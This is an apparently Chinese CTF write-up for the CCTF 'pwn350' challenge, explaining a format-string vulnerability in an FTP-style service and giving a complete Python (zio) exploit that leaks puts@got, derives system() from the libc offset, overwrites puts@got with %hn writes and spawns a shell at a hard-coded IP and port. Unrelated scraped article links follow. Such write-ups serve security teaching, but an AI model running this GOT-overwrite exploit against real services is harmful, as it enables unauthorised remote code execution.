0x00:

之前打了CCTF,在CCTF的过程中遇到一个比较有意思的思路,记录一下。

0x01:

可以看到,这是一个 fmt 的漏洞,不过很简单,接收的输入都在stack中,可以确定输入在栈中的位置,可以做到 任意地址读写。

一般来说,对于这种类型的漏洞,写shellcode到合适的地址然后跳转过去,或者leaksystem地址,改其他函数的got,都是可以拿一个shell的。

本来,我的思路很窄,想的是构造一个循环,去leak我需要的函数,然后改got去拿shell

之后joker师傅提点了我一下,可以leak任意两个函数地址,然后去 libcdb.com 查一波libc的版本,就可以确定libc版本,从而得到system的偏移。

0x02:

综上利用思路就是,leak出任意两个函数地址,然后确定system()的偏移,改掉puts@got,构造puts调用的参数为/bin/sh 就可以拿到shell啦。

这是我找libc的时候截图

0x03:

from zio import *

#target = './pwn3'
target = ('120.27.155.82',9000)
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "red") pwd = "rxraclhm" def put_file(name,content):
io.read_until('ftp>')
io.writeline("put")
io.read_until("upload:")
io.writeline(name)
io.read_until("content:")
io.writeline(content) def get_file(name):
io.read_until('ftp>')
io.writeline("get")
io.read_until('get:')
io.writeline(name) def get_file2(name):
io.writeline("get")
io.read_until('get:')
io.writeline(name) def put_file2(name,content):
io.writeline("put")
io.read_until("upload:")
io.writeline(name)
io.read_until("content:")
io.writeline(content) pl1 = l32(0x0804A014) #printf@got
pl1 += ",%7$s," pl2 = l32(0x0804A024) #malloc@got
pl2 += ",%7$s," pl3 = l32(0x0804A028) #puts@got
pl3 += ",%7$s," offset_puts_to_system = 0x00065650 - 0x00040190
#offset_puts_to_system = 0x269a0 # local io = zio(target,print_read=r_m,print_write=w_m,timeout=999)
io.read_until('):')
io.writeline(pwd) put_file("a",pl3)
#raw_input('$$$$')
get_file("a") rec = io.read_until('>').strip()
junk1,addr,junk2 = rec.split(',')
print "[*]puts is at:%s" % (addr[0:4][::-1] or '').encode('hex')
addr = addr[0:4][::-1].encode('hex')
system_addr = hex(int(addr,16) - offset_puts_to_system)
puts_addr = hex(int(addr,16))
print "[*]system is at:" + system_addr x = int(addr,16) - offset_puts_to_system
#a,b,c,d = [(x >> i) & 0b11111111 for i in range(0, 25, 16)]
a,b = [(x >> i) & 0b1111111111111111 for i in range(0, 25, 16)] print hex(a)+","+hex(b) put_file2("c",l32(0x0804A028)+"%%%dc"%(a-4)+"%7$hn")
raw_input('$$$')
get_file("c") put_file2("d",l32(0x0804A028+2)+"%%%dc"%(b-4)+"%7$hn")
get_file("d") put_file2("/bin/sh;","test")
io.writeline('dir')
io.interact()

0x04:

get shell

[CCTF] pwn350的更多相关文章

  1. CCTF部分赛题分析

    这次算是跟着师傅们全程打完了CCTF的线上赛,一些强队的WriteUp也放了出来.这篇文章主要是想跟着大牛的思路把那些题重新再过一遍. PWN3 这个是格式化字符串漏洞的题.printf的格式化串直接 ...

  2. Java基础语法

    java基础学习总结——基础语法1 一.标识符

  3. java基础学习总结——基础语法1

    一.标识符

  4. java 基础语法 1

    一.标识符 二.关键字 三.JAVA基础数据类型 3.1. java常量 3.2. java变量 从本质上来讲,变量其实是内存里面的一小块区域,一个程序在运行的时候,实际上这个程序是位于内存里面,然后 ...

  5. 做ctf题对malloc的疑问

    做cctf pwn printf题目的时候 疑问为什么dir函数会将之前out的name倒叙输出 调试了一下发现当malloc(0xf4)大小时候,例如 第一次分配0x1000的地址,将名字输入到0x ...

  6. Sql Server约束的学习二(检查约束、默认约束、禁用约束)

    接上一篇的Sql Server约束学习一(主键约束.外键约束.唯一约束) 4.检查约束 1)检查约束的定义 检查约束可以和一个列关联,也可以和一个表关联,因为它们可以检查一个列的值相对于另一个列的值, ...

  7. BugKu 杂项-这么多数据包

    前边的都是些无关紧要,只要有点网络的基础我想应该都能懂,往下看,一直到NO104,这是在干什么? 源ip138一直向目标ip159发送syn握手包,想要建立连接,其实就是端口扫描,原理就是,想和你某个 ...

  8. java基础—基础语法1

    一.标识符

  9. IDA动态调试技术及Dump内存

    IDA动态调试技术及Dump内存 来源 https://blog.csdn.net/u010019468/article/details/78491815 最近研究SO文件调试和dump内存时,为了完 ...

随机推荐

  1. Elastic Search中Query String常见语法

    1 搜索所有数据timeout参数:是超时时长定义.代表每个节点上的每个shard执行搜索时最多耗时多久.不会影响响应的正常返回.只会影响返回响应中的数据数量.如:索引a中,有10亿数据.存储在5个s ...

  2. redis 学习(17) -- RDB

    redis -- RDB 什么是 RDB 经过RDB之后,redis会将内存中的数据创建一份快照到硬盘中,称为RDB文件(二进制) 当redis重新启动时,会加载硬盘中的RDB文件,加载到内存中完成数 ...

  3. 进阶Java编程(5)基础类库

    Java基础类库 1,StringBuffer类 String类是在所有项目开发之中一定会使用到的一个功能类,并且这个类拥有如下的特点: ①每一个字符串的常量都属于一个String类的匿名对象,并且不 ...

  4. 实现JS数组传递

    //如果只是一维数组 var list = Request.Form.GetValues("diary[]");  public ContentResult TestHtmlTwo ...

  5. WPF 遍历资源字典中的控件

    object obItem=this.FindResource("canvasdt"); if (obItem is System.Windows.DataTemplate) { ...

  6. kali入侵服务器的那一套实战

    dnsenum  -enum       xxxxx.com 枚举出网站的所有域名和服务器的ip地址 打开百度查询ip地址的所在地 whatweb xxxx.com 查看那些网站入口可以访问   以状 ...

  7. mybatis 插入语句 返回自增长id方法

    背景:目前有个插入语句需要获取插入记录的id  因为id是自增长的,所以要在插入后返回这个id 错误1: mapper.xml: <!-- 新增 返回自增长id--> <insert ...

  8. jQuery EasyUI中DataGird动态生成列的方法

    EasyUI中使用DataGird显示数据列表中,有时需要根据需要显示不同的列,例如,在权限管理中,不同的用户登录后只能查看自己权限范围内的列表字段,这就需要DataGird动态组合列,下面介绍Eas ...

  9. 配置Notepad++万能调试

    需求: 正常情况下 使用notepad++编辑修改一些网页或脚本文件,修改之后想要查看效果需要Ctrl+S保存,然后从文件目录中打开查看. 现在我想做的就是简化查看效果的流程,让notepad++实现 ...

  10. mac 下拉取svn代码

    svn checkout https://113.108.97.187/svn/zkteco/zks-app --username=lucy --password=lucy66 svn checkou ...